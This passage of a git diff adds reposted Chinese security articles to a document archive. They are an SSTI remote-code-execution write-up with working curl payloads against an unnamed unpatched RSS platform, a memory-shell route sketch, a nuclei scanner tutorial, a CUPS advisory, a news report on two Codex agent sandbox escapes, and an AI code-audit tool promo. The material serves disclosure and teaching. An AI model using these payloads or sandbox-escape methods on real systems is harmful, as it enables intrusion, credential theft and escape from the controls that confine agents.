（推荐）→ 自动生成高强度访问令牌 → 构建镜像并启动 → 打印访问地址和令牌。
-> 首次构建会编译前端 + 安装挖洞工具，约 **5–15 分钟**
+
+首次构建会编译前端 + 安装挖洞工具，约 **5–15 分钟**
，请耐心等待。构建完浏览器访问 http://<服务器IP>:18800/
，用打印出的令牌登录。
-
**开放端口**
（默认 18800，云服务器还需在厂商安全组放行）：
```
@@ -74,4 +75,7 @@ bash scripts/install.sh
https://github.com/StanleyNull/AutoHunter
+内容转自乌雲安全，侵删
+
+
diff --git a/doc/2026-09/某公众号 RSS 平台存在未授权 RCE：从模板注入到内存马.md b/doc/2026-09/某公众号 RSS 平台存在未授权 RCE：从模板注入到内存马.md
new file mode 100644
index 00000000..e09ef4f2
--- /dev/null
+++ b/doc/2026-09/某公众号 RSS 平台存在未授权 RCE：从模板注入到内存马.md
@@ -0,0 +1,130 @@
+# 某公众号 RSS 平台存在未授权 RCE：从模板注入到内存马
+mimi3
+ mimi3 赛博生存指南 2026-09-21 14:06
+
+> 漏洞来源：互联网公开的开源项目（某公众号转 RSS 平台；因漏洞尚未修复，隐去平台名称与仓库、镜像地址）
+验证方式：本地 Docker 隔离实例实测，全部结论有真实回显
+核心问题：未授权远程代码执行（SSTI）
+
+
+公众号 RSS 平台是一类自托管工具：把微信公众号的文章源转成 RSS 订阅流，配合阅读器追更。本文分析互联网上一个此类开源实现中存在的未授权 RCE——Docker 一行命令部署、默认监听 8001 端口，除 RSS 输出外还带 webhook 消息推送、图片代理等周边功能。漏洞在可获得的最新版本中仍然存在，因此文中隐去平台名称与项目地址，技术细节原样保留；正在自建 RSS 服务的读者，可用第六节的自查方法判断自己的部署是否受影响。
+
+
+## 一、攻击面：三个决策叠出 RCE
+
+该平台后端是 Python（FastAPI）。为了支持自定义 RSS 输出格式，作者写了一个自研模板引擎 TemplateParser
+。RCE 不是某一个孤立的 bug，而是三个各自看起来都“可以理解”的决策叠在一起的结果。
+
+**决策一：用 eval() 实现模板表达式。**
+ 模板里 {{= 表达式 }}
+ 的语法会被切成表达式，直接送进 Python 原生求值：
+```
+# core/lax/template_parser.py:1164
+eval(expr, eval_globals, context)
+
+```
+
+用 eval 实现模板引擎不是没有先例，但前提是有真正的沙箱。这里的“沙箱”是一个黑名单函数 _is_safe_expression()
+。
+
+**决策二：黑名单防的是源码文本，不是运行时。**
+ 黑名单长这样（节选）：
+```
+# core/lax/template_parser.py:857-866
+forbidden = ['import', 'open', 'exec', 'eval', 'system', 'subprocess',
+'__import__', 'getattr', 'setattr', 'delattr', 'compile',
+'globals', 'locals', 'vars', 'dir', 'help', 'reload', ...]
+expr_lower = expr.lower()
+returnnotany(keyword in expr_lower for keyword in forbidden)
+
+```
+
+子串匹配，匹配的是表达式的**源码字符串**
+。而 Python 表达式可以在运行时拼字符串：'__imp' + 'ort__'
+ 的求值结果是 '__import__'
+，但源码里不含 import
+ 这个连续子串——检查直接放行。
+
+更致命的是 _get_safe_globals()
+ 构造的 eval 全局命名空间没有显式设置 __builtins__
+。按 Python 语义，这种情况下会自动注入完整的 builtins 字典：__import__
+ 在场、各种内建函数在场，而 __builtins__
+ 这个名字本身也不在黑名单里。沙箱还没开始工作，钥匙已经插在锁上了。
+
+**决策三：RSS 端点的鉴权被注释掉了。**template
+ 是一个 GET 查询参数，从 RSS 端点一路传进 TemplateParser：
+```
+# apis/rss.py:184-196（节选）
+# current_user: dict = Depends(get_current_user)
+
+```
+
+鉴权依赖整行被注释。源码里还留着作者自己的一句提醒：“如果需要放开授权，请只允许内网访问，防止被利用攻击”。也就是说，作者知道放开鉴权有风险，但默认部署里它就是放开着的。
+
+三个决策叠起来：无鉴权的 GET 参数 → 自研模板引擎 → eval 加黑名单。一条 HTTP GET 就够了。
+## 二、复现：一条 GET，四步到 root
+
+以下命令均在本地 Docker 实例（默认 8001 端口）实测，输出为真实回显。--globoff
+ 是为了阻止 curl 解释花括号；实测里 template 参数统一经 Python urlencode
+ 编码后发送。
+
+第一步，确认 eval 生效：
+```
+curl -s --globoff "http://localhost:8001/rss/all?ext=html&template={{= 1+1 }}"
+# 返回：2
+
+```
+
+第二步，确认类链穿越可用（黑名单不含 __class__
+、__mro__
+）：
+```
+curl -s --globoff "http://localhost:8001/rss/all?ext=html&template={{= ''.__class__.__mro__ }}"
+# 返回：(, )
+
+```
+
+第三步，确认 __builtins__
+ 可达。eval 上下文里它是 dict 而非 module，直接按键取：
+```
+curl -s --globoff "http://localhost:8001/rss/all?ext=html&template={{= type(__builtins__) }}"
+# 返回：
+
+```
+
+第四步，字符串拼接绕过黑名单，导入 subprocess 执行命令：
+```
+curl -s --globoff "http://localhost:8001/rss/all?ext=html&template={{= __builtins__['__imp'+'ort__']('subpr'+'ocess').check_output(['id']).decode() }}"
+# 返回：uid=0(root) gid=0(root) groups=0(root)
+
+```
+
+容器里跑的是 root。整条链不需要任何凭据、没有任何前置交互。读环境变量同样只要一步：把表达式换成 __builtins__['__imp'+'ort__']('os').environ
+，包括 PASSWORD
+ 在内的全部环境变量直接回显。
+
+为排除“回显造假”的可能，还可以让容器把 id
+ 输出写进数据目录的文件——经 -v
+ 挂载卷，文件会直接出现在宿主机目录里，内容是 root 的 id 输出加容器 hostname。执行身份确凿无疑。
+
+黑名单里每个词都有现成的绕法：
+ | | |
|---|
import | '__imp'+'ort__' | |
subprocess | 'subpr'+'ocess' | |
open | | 函数名不含 open 子串（注意 os.popen 反而会被拦） |
getattr | __builtins__[key] | |
system | | |
## 拿到 RCE 只是第一步。SSTI 入口有个天然弱点：每次执行命令都要再走一遍 template 参数，请求里明晃晃带着 {{=，入口一旦被整改，控制权就断了。在本地实例上，这个 RCE 可以进一步落成一种更隐蔽的形态——FastAPI 运行时路由内存马：向运行中进程的路由表动态插入一条原生 Starlette Route，此后命令执行不再经过 SSTI 接口。原理一句话就能说完：Starlette 的路由匹配是每个请求遍历 app.router.routes 列表，运行时插入立即生效，无需重载。核心逻辑示意（非完整 payload）：app = [o for o in gc.get_objects() iftype(o).__name__ == 'FastAPI'][0]route = Route('/8f3a2c1d', handler, methods=['GET', 'POST'])app.router.routes.insert(0, route) # insert(0): must precede the SPA catch-all
+## 三、安全说明
+
+本文分析的漏洞来源于互联网公开渠道；全部验证在本人完全可控的本地 Docker 隔离环境完成，未访问任何第三方部署实例。文中 payload 仅用于说明漏洞机理与验证方法，请勿用于未授权目标。
+## 参考
+- OWASP A03:2021 Injection：
+https://owasp.org/Top10/A03_2021-Injection/
+
+- CWE-94 Improper Control of Generation of Code：
+https://cwe.mitre.org/data/definitions/94.html
+
+- Jinja2 SandboxedEnvironment：
+https://jinja.palletsprojects.com/en/stable/api/[]()
+
+#jinja2
+.sandbox.SandboxedEnvironment
+
+- OWASP SSRF Prevention Cheat Sheet：
+https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
+
diff --git a/doc/2026-09/每天学一个 Kali 工具 · Day22 nuclei：YAML 模板驱动的漏洞扫描精确制导武器.md b/doc/2026-09/每天学一个 Kali 工具 · Day22 nuclei：YAML 模板驱动的漏洞扫描精确制导武器.md
new file mode 100644
index 00000000..ad487297
--- /dev/null
+++ b/doc/2026-09/每天学一个 Kali 工具 · Day22 nuclei：YAML 模板驱动的漏洞扫描精确制导武器.md
@@ -0,0 +1,240 @@
+# 每天学一个 Kali 工具 · Day22 nuclei：YAML 模板驱动的漏洞扫描"精确制导武器"
+原创 0day收割机
+ 0day收割机 0day收割机 2026-09-22 03:01
+
+每天学一个 Kali 工具 · Day22
+# nuclei：YAML 模板驱动的漏洞扫描"精确制导武器"
+
+摘要：「每天学一个 Kali 工具」第二十二天。昨天 nikto 给 Web 服务器做了全身体检，今天升级到精确打击——nuclei：基于 YAML 模板的漏洞扫描器，社区维护数千个漏洞模板，新漏洞曝光几小时内模板就上线，官方宣称"零误报"。CVE 复现、批量资产体检、红队打点，它都是当下的顶流。文末附参数速查和实战命令，建议收藏。
+
+
+## 写在前面
+
+昨天的 **nikto**
+ 是"体检医生"：拿着内置的七千项清单，把服务器从头查一遍——全面，但慢，且误报不少。
+
+今天的 **nuclei**
+ 换了个哲学：**不做全面体检，做精确化验。**
+
+它的核心是**模板（Template）**
+：每个漏洞一个 YAML 文件，里面写清楚"发什么请求、匹配什么特征、算不算命中"。社区几千名安全研究员持续贡献模板——**Log4Shell 曝光几小时后，nuclei 模板就上线了**
+；你手里攥着几千张"化验单"，对着目标批量跑一遍，命中的就是实锤。
+
+官方定位原话：基于模板发请求，**零误报（zero false positives）**
+，在海量主机上快速扫描。
+
+nikto 是 2001 年的老军医，nuclei 是 2020 年的基因测序仪——这就是漏洞扫描的代际差。
+## 一、nuclei 是什么？
+
+Kali 官网的定义：nuclei 是一款**基于简单 YAML DSL 的快速、可定制漏洞扫描器**
+。它提供基于模板的可配置定向扫描，具备海量可扩展性和易用性。nuclei 根据模板向目标发送请求，从而实现零误报和海量主机的快速扫描。
+| 当前版本 | |
| 体积 | |
| 出品方 | ProjectDiscovery（httpx、subfinder、naabu 全家桶的娘家） |
| 模板库 | nuclei-templates，社区维护，-ut 一键更新 |
| 语言 | |
+**支持的协议类型**
+（官网帮助原文）：
+```
+dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
+```
+
+从 Web 到 TCP 裸协议、从证书到 DNS、甚至无头浏览器和 JavaScript 执行——一个扫描器通吃。
+
+
+## 二、快速上手：官网示例精讲
+
+官网给了五条示例，正好覆盖五种典型用法：
+```
+# 1. 最简扫描：全模板默认跑
+nuclei -target example.com
+
+# 2. 指定模板：只跑 HTTP 的 CVE 模板 + SSL 模板
+nuclei -target example.com -t http/cves/ -t ssl
+
+# 3. 批量目标：从文件读主机列表（每行一个）
+nuclei -list hosts.txt
+
+# 4. 结果导出 JSON
+nuclei -target example.com -json-export output.json
+
+# 5. 导出 Markdown 报告目录（按模板排序）
+MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
+```
+
+**解读第 2 条**
+——这是 nuclei 的精髓：
+- -t http/cves/
+：只跑模板库里 http/cves/
+ 目录——按年份组织的**已知 CVE 漏洞模板**
+；
+
+- -t ssl
+：加上 SSL 配置类模板（弱加密套件、过期证书等）；
+
+- 多个 -t
+ 可以叠加，扫什么完全由你点名。
+
+首次运行 nuclei 会自动下载官方模板库到 ~/nuclei-templates/
+，之后记得常更新：
+```
+# 更新模板库（漏洞知识库保鲜）
+nuclei -update-templates
+```
+## 三、模板体系：nuclei 的灵魂
+### ▍1. 一个模板长什么样？
+
+YAML 格式，核心就四段——**发什么请求、怎么匹配、什么严重级、元信息**
+：
+```
+id: cve-example-001
+info:
+ name: 某组件未授权访问
+ author: 社区贡献者
+ severity: high
+ tags: cve,exposure
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/admin/api"
+ matchers:
+ - type: word
+ words:
+ - "admin_token"
+```
+
+看得懂 HTTP 请求就能写模板——这就是"YAML DSL"的平易之处。
+### ▍2. 模板的筛选维度（FILTERING）
+ | | |
|---|
| -tags | -tags cve2024,xss |
| -s | -s critical,high |
| -id | -id CVE-2021-44228 |
| -a | -a pdteam |
| -pt | -pt http,dns |
| -etags / -es / -eid | -etags dos |
```
+# 组合示例：只跑高危+严重级的 CVE 模板，排除 DoS
+nuclei -list hosts.txt -tags cve -s high,critical -etags dos
+```
+### ▍3. 三个高级玩法（官网帮助里的宝藏）
+ | |
|---|
-as | 自动扫描：先用 wappalyzer 指纹识别目标技术栈，自动映射到对应标签的模板——不知道扫什么就交给它 |
-ai <提示词> | AI 生成模板：用自然语言描述漏洞，nuclei 直接生成并运行模板（v3 新特性） |
-w | 工作流：把多个模板串成条件链（先确认是 Tomcat，再跑 Tomcat 专属漏洞） |
+
+## 四、Interactsh：盲漏洞的"传呼机"
+
+SQL 盲注、SSRF、XXE 这类漏洞有个共同点：**响应里看不到证据**
+，得让目标"主动回连"才能实锤。
+
+nuclei 内置了 **Interactsh**
+（ProjectDiscovery 的 OAST 平台）：每个扫描分配一个专属回连域名，目标一旦发起带外请求（DNS/HTTP），nuclei 立刻收到"传呼"——盲漏洞无所遁形。
+
+眼熟吗？**这就是 Day19 Burp Collaborator 的开源同类**
+。默认用官方免费服务器（oast.pro 等），也可以 -iserver
+ 自建：
+```
+# 禁用 Interactsh（不想跑 OAST 类模板时）
+nuclei -target example.com -no-interactsh
+```
+## 五、和已学工具的联动
+
+nuclei 是 ProjectDiscovery 工具链的枢纽，和我们学过的兵器天然咬合：
+ | |
|---|
| Day19 Burp Suite | -im burp 直接吃 Burp 导出的流量文件；或 -p http://127.0.0.1:8080 让流量全进 Burp 复盘 |
| Day21 nikto | nikto 全面体检找"病"，nuclei 精确化验找"实锤 CVE"——报告互补 |
| Day09 amass / Day12 theHarvester | 挖出的子域名列表直接 -l subdomains.txt 批量扫 |
| Day17 SpiderFoot | |
| Day01 nmap | -preflight-portscan 自带预检端口扫描；也可 nmap 出端口再喂 nuclei |
| uncover 引擎 | -uc -uq 'query' -ue shodan 直接从 Shodan/FOFA/ZoomEye 拉目标来扫 |
```
+# 联动示例：Shodan 搜目标 → nuclei 直接扫
+nuclei -uc -uq 'http.title:"后台登录"' -ue shodan -s critical,high
+```
+## 六、参数速查表
+
+官网 nuclei -h
+ 选项极多，挑高频的分类整理：
+### ▍目标（TARGET）
+-u, -target <目标> | |
-l, -list <文件> | |
-eh, -exclude-hosts | |
-resume <文件> | |
-sa, -scan-all-ips | |
-im, -input-mode | 输入格式：list / burp / jsonl / yaml / openapi / swagger |
### ▍模板与过滤（TEMPLATES / FILTERING）
+-t, -templates | |
-nt, -new-templates | |
-as, -automatic-scan | |
-ai, -prompt | |
-w, -workflows | |
-tl / -tgl | |
-tags / -etags | |
-s / -es | 按严重级跑 / 排除（info/low/medium/high/critical） |
-id / -eid | |
-pt / -ept | 按协议类型跑 / 排除（dns/http/tcp/ssl/websocket…） |
### ▍输出（OUTPUT）
+-o, -output <文件> | |
-silent | |
-je / -jle | |
-me, -markdown-export | |
-se, -sarif-export | |
-pe, -pdf-export | |
-sresp, -store-resp | |
-rd, -redact | |
### ▍速率与优化（RATE-LIMIT / OPTIMIZATIONS）
+-rl, -rate-limit <n> | |
-c, -concurrency <n> | |
-bs, -bulk-size <n> | |
-timeout <秒> | |
-spm, -stop-at-first-match | |
-project | |
### ▍高级（INTERACTSH / HEADLESS / HONEYPOT / DEBUG / UPDATE）
+-iserver <url> | |
-ni, -no-interactsh | |
-headless | |
-hpd, -honeypot-detect | 蜜罐检测 |
-shp, -suppress-honeypot | |
-p, -proxy <代理> | |
-debug / -hc / -stats | |
-ut, -update-templates | |
## 七、实战速查
+```
+# 1. 首次使用：更新模板库
+nuclei -update-templates
+
+# 2. 官网同款：单目标全量扫描
+nuclei -target example.com
+
+# 3. 只打已知 CVE + SSL 配置
+nuclei -target example.com -t http/cves/ -t ssl
+
+# 4. 批量目标：nmap/amass 的成果直接喂进来
+nuclei -l hosts.txt -s critical,high -o findings.txt
+
+# 5. 追新漏洞：只跑模板库最新增加的模板
+nuclei -l hosts.txt -nt
+
+# 6. 全自动：指纹识别 → 自动匹配模板
+nuclei -target example.com -as
+
+# 7. 复现指定 CVE（Log4Shell 为例）
+nuclei -l hosts.txt -id CVE-2021-44228
+
+# 8. 报告全家桶：JSON + Markdown + SARIF
+nuclei -target example.com -je out.json -me report_dir/ -se out.sarif
+
+# 9. 流量全走 Burp，边扫边看
+nuclei -target example.com -p http://127.0.0.1:8080
+
+# 10. 温柔扫生产：限速 + 限时 + 排除 DoS 模板
+nuclei -l hosts.txt -rl 50 -mt 1h -etags dos
+
+# 11. 断点续扫：大目标扫一半断了接着来
+nuclei -l hosts.txt -resume resume.cfg
+
+# 12. 蜜罐识别：命中浓度异常的主机自动标记
+nuclei -l hosts.txt -hpd -shp
+```
+## 八、合规提醒
+
+nuclei 是真实漏洞利用级别的扫描器，红线比 nikto 更粗：
+1. **书面授权是绝对前提**
+：CVE 模板发的是**真实利用请求**
+（不只是探测），未授权使用性质等同攻击；
+
+1. **生产环境三重保护**
+：-rl
+ 限速 + -mt
+ 限时 + -etags dos,intrusive
+ 排除破坏性模板；
+
+1. **OAST 回连注意**
+：Interactsh 模板会让目标向外部服务器发请求，敏感环境评估自建 -iserver
+ 或 -ni
+ 禁用；
+
+1. **蜜罐意识**
+：扫到"命中率高得离谱"的主机先想想 -hpd
+——你可能正在被反制方记录；
+
+1. **结果即证据链**
+：JSON/SARIF 报告含完整漏洞证据，按最高密级资料管理。
+
+## 今日小结
+1. **nuclei**
+ = 模板驱动的精确制导漏洞扫描器：YAML 写漏洞逻辑，社区数千模板，新 CVE 几小时内跟进，官方宣称零误报；
+
+1. 和 nikto 的代际差：nikto 内置数据库全面体检（慢+误报），nuclei 模板化验精确打击（快+实锤）——正式项目双管齐下；
+
+1. 三件套必会：-ut
+ 更新模板、-t
+/-tags
+/-s
+ 点名扫描、-je
+/-me
+ 出报告；
+
+1. 高级玩法：-as
+ 指纹自动匹配、-ai
+ 自然语言生成模板、Interactsh 盲漏洞回连、-hpd
+ 蜜罐检测；
+
+1. 工具链枢纽：吃 Burp 流量、吃 amass 子域名列表、接 uncover 情报引擎——前面二十一天学的成果都能喂给它。
+
+觉得有用的话，**点赞 + 在看 + 转发**
+ 给一起学安全的朋友
+关注「每天学一个 Kali 工具」，明天见！
+
+**参考资料**
+
+· Kali 官方工具页：https://www.kali.org/tools/nuclei/
+
+· 项目主页：https://github.com/projectdiscovery/nuclei
+
+· 官方模板库：https://github.com/projectdiscovery/nuclei-templates
+
+· 模板编写指南：https://docs.projectdiscovery.io/tools/nuclei/
+
+
diff --git a/doc/2026-09/漏洞预警 OpenPrinting CUPS本地权限提升漏洞.md b/doc/2026-09/漏洞预警 OpenPrinting CUPS本地权限提升漏洞.md
new file mode 100644
index 00000000..71e1ceb0
--- /dev/null
+++ b/doc/2026-09/漏洞预警 OpenPrinting CUPS本地权限提升漏洞.md
@@ -0,0 +1,43 @@
+# 漏洞预警 | OpenPrinting CUPS本地权限提升漏洞
+浅安
+ 浅安 浅安安全 2026-09-21 23:50
+
+**0x00 漏洞编号**
+- # QVD-2026-70361
+
+**0x01 危险等级**
+- 高危
+
+**0x02 漏洞概述**
+
+OpenPrinting CUPS是一款开源的打印系统，广泛应用于Linux及其他类Unix操作系统中。
+
+
+
+**0x03 漏洞详情**
+
+**QVD-2026-70361**
+
+**漏洞类型：**
+本地权限提升
+
+**影响：**
+执行任意代码
+
+**简述：**
+CUPS存在本地权限提升漏洞，具备lpadmin组成员的本地攻击者首先利用以root权限运行的serial后端改写/etc/cups/cups-files.conf，再通过畸形IPP订阅请求使cupsd崩溃并由systemd自动重启，从而以攻击者控制的ServerBin目录重启服务，最终由cupsd以root身份执行被替换的cups-exec，获得交互式root shell。
+
+**0x04 影响版本**
+- CUPS
+
+**0x05****POC状态**
+- 已公开
+
+**0x06****修复建议**
+
+**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
+
+https://github.com/OpenPrinting/cups
+
+
+
diff --git a/doc/2026-09/神漏洞：突破ChatGPT智能体沙箱，远程执行任意命令.md b/doc/2026-09/神漏洞：突破ChatGPT智能体沙箱，远程执行任意命令.md
new file mode 100644
index 00000000..561b06e9
--- /dev/null
+++ b/doc/2026-09/神漏洞：突破ChatGPT智能体沙箱，远程执行任意命令.md
@@ -0,0 +1,152 @@
+# 神漏洞：突破ChatGPT智能体沙箱，远程执行任意命令
+e安在线
+ e安在线 e安在线 2026-09-22 01:43
+
+
+
+
+
+
+
+
+
+**研究员发现两个高危漏洞，可以以不同方法突破Codex（ChatGPT）的沙箱保护，进而破坏用户电脑环境，目前Codex新版本已修复漏洞；**
+
+
+**一个是冒充可信组件逃出沙箱的Heapjack攻击，当用户让Codex在最安全的只读模式下检查某个外部项目，但项目的恶意代码可以沙箱逃逸并远程执行任意命令；**
+
+
+**另一个是利用特殊指令修改沙箱外文件的Overpatch漏洞，当用户让Codex修改项目文件，实际上它可以通过特殊指令让其修改沙箱外的电脑文件。**
+
+
+
+安全研究人员发现了两种突破OpenAI Codex（已改名为ChatGPT）沙箱的方法。其中一种甚至能在Codex权限最严格的模式下，在开发者电脑上执行命令，而且整个过程无需用户批准，屏幕上也不会显示任何提示。
+
+
+Accomplish AI研究人员Oren Yomtov表示，两项漏洞均于8月12日报告给OpenAI，并在8天内得到修复。
+
+
+其中更严重的一项被研究人员称为“Heapjack”。它可以将一个看似普通的操作变成远程代码执行。用户在Codex中打开他人的代码仓库，并询问一个与代码有关的问题，代码仓库的编写者就可能获得一种能力：在用户电脑上执行不受沙箱限制的命令。
+
+
+Codex是OpenAI的编程智能体，可通过命令行工具和桌面应用使用。与其他同类智能体一样，Codex会在沙箱中执行模型发起的操作，以防不受信任的代码接触系统其他部分。上述两种攻击的共同点是，都从沙箱内部突破安全边界。
+
+
+**Heapjack攻击冒充可信组件逃逸沙箱**
+
+
+根据Yomtov发布的技术分析，Heapjack针对的是一个名为`node_repl`的组件。Codex 桌面版安装时会将该组件写入全局配置文件`~/.codex/config.toml`。
+
+
+用户无需主动启用，也没有关闭该组件的设置。由于相关配置写在共享配置文件中，普通Codex CLI用户也会继承这一工具，而且整个过程不会有任何提示。
+
+
+`node_repl`运行一个Node.js进程，其中包含两个相互独立的JavaScript执行上下文。一个是受信任上下文，运行OpenAI自己的代码；另一个是不受信任上下文，运行智能体代码。受信任上下文通过出示每次运行随机生成的令牌，来证明自身身份。
+
+
+问题在于，这两个上下文运行在同一个Node.js进程中，共享同一块内存堆。因此，这个所谓的“秘密”令牌实际上只是内存中的一个字符串，不受信任的一侧可以读取它。
+
+
+
+
+图：Heapjack攻击路径
+
+
+不受信任的代码通过`v8.getHeapSnapshot()`获取内存堆快照，然后尝试找出所有符合UUID格式的字符串。如果猜错，系统返回“not authorized”（未获授权）；如果令牌正确但参数错误，系统则会返回真正的参数验证错误。攻击者由此可以确认自己找到了正确令牌。
+
+
+获得令牌后，不受信任的代码便可以通过同一通信管道发送自己的请求。该管道原本用于让受信任上下文与一个位于沙箱之外、未受沙箱限制的原生父进程通信。
+
+
+父进程验证令牌后发现其有效，便会执行请求。概念验证代码使用系统的`open`命令，在Codex进程树之外直接启动应用程序。
+
+
+攻击者借此还可以访问Unix套接字，其中一个明显的攻击目标就是Docker守护进程套接字。此外，攻击者还可以使用一个修改全局配置文件的工具。
+
+
+而这一切都可以在只读模式下完成。这是Codex最严格的沙箱模式，按照设计，智能体在该模式下根本不应写入任何内容。
+
+
+**Overpatch漏洞利用特殊指令修改沙箱外文件**
+
+
+第二个漏洞被称为Overpatch，存在于开源Codex CLI中。
+
+
+在workspace-write模式下，智能体原则上只能写入项目目录。如果尝试通过shell命令写入用户主目录，系统会拒绝操作。
+
+
+但研究人员发现，可以利用Codex自带的`apply_patch`工具绕过这一限制。
+
+
+该工具会根据补丁中指定的路径，给该路径的父目录授予写入权限。如果指定`/tmp`，工具就会获得磁盘根目录的写入权限。
+
+
+研究人员设计的攻击补丁包含两处修改。一处指定`/tmp`，本身并不执行任何有用操作，其作用只是扩大写入权限。
+
+
+另一处则通过指向用户主目录的符号链接，在`.zshrc`文件末尾追加一行代码。
+
+
+如果删除第一处修改，写入操作就会被拒绝。但如果保留这处修改，开发者下一次打开终端时，就会在未受沙箱限制的环境中执行攻击者写入的代码。
+
+
+**两个漏洞的共同问题**
+
+
+这两个漏洞具有相同的根本问题：负责实施安全限制的机制，本身却处在它应该限制的对象内部。
+
+
+`apply_patch`会根据攻击者提供的输入自行判断应该拥有哪些权限；`node_repl`则把用于区分受信任代码和不受信任代码的秘密令牌，与不受信任代码放在了同一块内存中。
+
+
+换句话说，沙箱从内部被诱导放行了原本应该拦截的操作。
+
+
+这种漏洞并非首次出现。2026年7月，Pillar Security的研究人员曾展示过类似攻击方式，涉及Cursor、Codex、Gemini CLI和Google Antigravity。在这些案例中，智能体虽然一直运行在沙箱内，却可以写入一个文件，随后由沙箱外的受信任工具执行该文件。
+
+
+Yomtov在X上发布相关技术文章后，一名评论者指出：“V8上下文可以隔离全局变量，却不能隔离内存，所以这个沙箱实际上只是在承诺不会触碰那块内存，而堆本身并没有作出这种承诺。”另一名评论者则将这种信任边界比作“一道隔断墙”。
+
+
+由于相关功能默认启用，也有人质疑，为什么不受信任的JavaScript代码一开始就能拿到一个高权限令牌。
+
+
+**该如何应对？**
+
+
+Accomplish表示，OpenAI已在Codex Desktop 26.818.21641版本中修复Heapjack，并在Codex CLI 0.149.0版本中修复Overpatch。
+
+
+用户应升级至上述版本或更高版本。Yomtov表示，OpenAI在收到报告后的8天内解决了这两项问题，并对此表示认可。
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+声明：除发布的文章无法追溯到作者并获得授权外，我们均会注明作者和文章来源。如涉及版权问题请及时联系我们，我们会在第一时间删改，谢谢！文章来源：安全内参
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/doc/2026-09/解决代码审计漏洞痛点！阿里内部AI审计工具OpenCodeReview低误报精准筛查SQL注入、命令执行、权限绕过漏洞.md b/doc/2026-09/解决代码审计漏洞痛点！阿里内部AI审计工具OpenCodeReview低误报精准筛查SQL注入、命令执行、权限绕过漏洞.md
new file mode 100644
index 00000000..ee4e96f1
--- /dev/null
+++ b/doc/2026-09/解决代码审计漏洞痛点！阿里内部AI审计工具OpenCodeReview低误报精准筛查SQL注入、命令执行、权限绕过漏洞.md
@@ -0,0 +1,258 @@
+# 解决代码审计漏洞痛点！阿里内部AI审计工具OpenCodeReview低误报精准筛查SQL注入、命令执行、权限绕过漏洞
+alibaba
+ alibaba 渗透安全HackTwo 2026-09-21 16:07
+
+0x01 工具介绍
+
+OpenCodeReview是阿里内部的AI驱动代码审计CLI工具，当前已经开源，适配网络安全检测场景，可高效完成源码安全审计工作。工具融合工程约束与AI智能分析，有效解决传统审计漏报、误报、定位偏移等问题，精准挖掘SQL注入、命令执行、权限绕过等高危漏洞。支持增量diff审查与全量代码扫描，低Token消耗、检测精度更高，可无缝接入CI/CD流程，适配企业开发合规、代码加固、风险排查等各类安全场景。
+
+
+
+
+
+
+
+
+
+注意：
+现在只对常读和星标的公众号才展示大图推送，建议大家把
+**渗透安全HackTwo**
+"**设为****星标⭐️**
+"
+**否****则可能就看不到了啦！**
+
+**下载地址在末尾 #渗透安全HackTwo**
+
+0x02
+功能介绍
+
+✨核心特点
+
+对安全工程师和开发团队来说，代码审计最怕两件事：
+**漏审**
+和
+**误报**
+。漏审意味着漏洞带病上线，误报意味着审计报告没人信。OpenCodeReview 的解题思路，是用"确定性规则引擎 + LLM Agent"的混合架构，把这两件事同时压住。
+
+
+### 1️⃣ 内置安全规则：四大高频漏洞类型开箱即审
+
+工具自带的多语言规则集，开箱即覆盖安全审计中最常见、最危险的几类问题：
+ | | |
|---|
| MyBatis XML Mapper 中的 ${} 拼接、动态 SQL 注入风险 | |
| | |
| | |
| | |
| 发起外部请求的 URL 参数可控、未做内网地址过滤 | |
| | |
| | |
| | |
| | |
| goroutine 无退出条件、channel 阻塞未处理 | |
| | |
| 越权、业务逻辑缺陷、依赖组件 CVE 等，可通过自定义规则逐步纳入 | |
+而且规则匹配是
+**按文件特征精细化触发**
+的：Java 文件重点审 NPE 和线程安全，XML Mapper 文件重点审 SQL 注入，前端文件重点审 XSS——模型注意力高度聚焦，从源头上减少噪声。
+### 2️⃣ 深度上下文审计：不是正则匹配，是"看懂"代码
+
+传统 SAST 工具靠正则和 AST 规则，经常被编码绕过、拼接绕过耍得团团转。OpenCodeReview 的 Agent 可以：
+- **读取完整文件内容**
+，结合上下文判断这处"拼接"到底有没有经过过滤；
+
+- **搜索整个代码库**
+，追溯数据来源（用户输入从哪来、流到哪去）；
+
+- **跨文件关联分析**
+，比如 Controller 层的参数校验缺失，会在 Service 层埋雷。
+
+官方实测案例里，一段看似无害的 Go map 读写代码，被内置线程安全规则直接标为 Critical 级竞态条件，并给出了带
+sync.RWMutex
+ 的完整修复方案。
+### 3️⃣ ocr scan：没有 Git 历史的老代码也能审
+
+这是安全场景下最实用的能力之一。很多时候我们要审计的是：
+- 接手的不熟悉的遗留系统；
+
+- 外包交付的、没有提交历史的代码；
+
+- 没有 diff 可比的整个目录。
+
+ocr scan
+ 直接审查
+**整个文件**
+而非 diff，无需 Git 历史，等于把 AI 变成了一位随叫随到的白盒审计助手。 配合
+--path
+
+指定目录，可以快速对一个模块做定向安全排查。
+### 4️⃣ 自定义规则：把你们团队的"安全红线"写进引擎
+
+内置规则之外，规则系统支持
+**四层优先级链**
+注入自定义安全规则（CLI 参数 > 项目配置 > 全局配置 > 内置规则），团队可以在项目根目录
+的
+.opencodereview/rule.json
+ 中定义自己的审计标准，例如：
+```
+{
+ "rules": [
+ {
+ "path": "**/*mapper*.xml",
+ "rule": "检查 SQL 是否存在注入风险、参数错误、标签未闭合"
+ },
+ {
+ "path": "force-api/**/*.java",
+ "rule": "所有新增方法必须对必填参数做 null 校验"
+ }
+ ]
+}
+```
+
+OWASP Top 10 里的反序列化、SSRF、路径穿越、硬编码密钥等问题，都可以通过定制规则纳入日常审计——把安全规范从"Wiki 里的文档"变成"每次提交自动执行的检查"。
+### 5️⃣ 安全场景下的两个关键设计
+- **委托模式**
+：涉密项目不能把代码发给外部 API？让私有部署的 LLM 或宿主 AI Agent 执行审查，OCR 只负责文件筛选和规则解析，
+**代码不出内网**
+；
+
+- **CI/CD 卡点**
+：接入 GitHub Actions / GitLab CI 后，每个 PR 自动审查，安全漏洞在合并前就被拦下，审查意见直接回贴为行级评论。
+
+> ⚠️ 客观说一句：它的 Recall 低于通用 Agent，Benchmark 作者也明确说明
+**不要指望它替代专业安全审计工具**
